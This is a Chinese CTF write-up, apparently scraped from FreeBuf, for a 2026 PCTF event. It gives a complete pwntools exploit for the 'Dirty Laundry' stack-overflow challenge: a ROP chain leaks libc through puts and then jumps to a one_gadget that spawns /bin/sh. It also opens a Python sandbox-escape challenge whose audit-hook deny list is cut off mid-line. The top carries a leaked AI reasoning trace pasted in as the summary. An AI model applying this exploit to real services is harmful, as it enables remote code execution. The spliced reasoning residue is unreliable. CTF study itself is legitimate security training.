2026-pctf wp 记录
嗯,用户发来了一段看起来像是技术文章的内容,然后要求用中文总结一下,控制在100字以内,而且不需要特定的开头。首先,我需要理解用户的需求是什么。他可能是在寻找一个简洁明了的摘要,用于快速了解文章内容,而不需要深入阅读原文。 接下来,我看看文章内容。文章主要涉及两个部分:一个是关于Dirty Laundry(pwn)的漏洞利用,另一个是Python沙箱逃逸题。这两个部分都有详细的代码和步骤说明。因此,总结时需要涵盖这两个主要点。 用户提供的示例回复已经很好地概括了这两个部分:一个是栈溢出和ROP链利用,另一个是通过审计钩子限制敏感操作。这说明用户希望摘要能够准确反映技术细节和解决方法。 考虑到字数限制,我需要确保每个要点都简洁明了。同时,避免使用复杂的术语,让摘要更易理解。可能还需要检查是否有遗漏的重要信息,比如漏洞的具体利用方法或沙箱逃逸的关键点。 最后,我会将这些思考整合成一个连贯的摘要,确保在100字以内,并且直接描述文章内容,不使用任何开头语。 </think> 文章介绍了一道CTF题目“Dirty Laundry”,涉及栈溢出漏洞利用和ROP链构造技巧,并提供了一段Python脚本作为解题示例。同时讨论了一道Python沙箱逃逸题的实现方法,通过审计钩子限制敏感操作。 2026-2-10 08:5:22 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

Dirty Laundry(pwn)

Dirty Laundry.png

这道题提供了程序和libc

逆向看出存在read栈溢出

Pasted Graphic.png

offset=0x48

Pasted Graphic 1.png

无可利用后门函数和字符串,有puts,可以泄漏libc

image.png

one_gadget可利用

constratnts:.png

ropgadget可利用

Pasted Graphic 4.png

exp

exp:
from pwn import *

context.binary = elf = ELF('./chal')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

io = remote('dirty-laundry.ctf.prgy.in', 1337, ssl=True)

# gadgets
pop_rdi_r14 = 0x4011a7
pop_rsi     = 0x4011a9
pop_rbp     = 0x40113d
ret         = 0x40101a

one_gadget_offset = 0xebc88   # execve("/bin/sh", rsi, rdx)

offset = 0x48

# ================= Stage 1: leak libc =================
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln     = elf.symbols['vuln']

payload  = b'A' * offset
payload += p64(ret)
payload += p64(pop_rdi_r14)
payload += p64(puts_got)
payload += p64(0)
payload += p64(puts_plt)
payload += p64(vuln)

io.sendafter(b'Add your laundry: ', payload)

io.recvuntil(b'Laundry complete')
leak = io.recv(6)
puts_addr = u64(leak.ljust(8, b'\x00'))

log.success(f'puts@libc = {hex(puts_addr)}')

libc_base = puts_addr - libc.sym['puts']
log.success(f'libc base = {hex(libc_base)}')

# ================= Stage 2: one_gadget =================
payload  = b'A' * offset
payload += p64(ret)
payload += p64(pop_rbp)
payload += p64(0x404800)            # 可写地址
payload += p64(pop_rsi)
payload += p64(0)                   # rsi = NULL
payload += p64(libc_base + one_gadget_offset)

io.sendafter(b'Add your laundry: ', payload)
io.interactive()

Pasted Graphic 5.png

PCalc.png

附件提供的python如下,是一道python沙箱逃逸题

#!/usr/bin/env python3
import ast
import sys
import os

def audit_hook(event, args):
    if event in ['os.system', 'os.popen', 'os.spawn', 'subprocess.Popen']:
        raise RuntimeError("Blocked Action Detected")
    
    if event == 'open' and isinstance(args[0], str) and 'flag' in args[0]:
        raise RuntimeError("Forbidden File Access")

sys.addaudithook(audit_hook)

class Calculator(ast.NodeVisitor):
    def __init__(self):
        self.is_valid = True

    def visit(self, node):
        if isinstance(node, (ast.

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/470260.html
如有侵权请联系:admin#unsafe.sh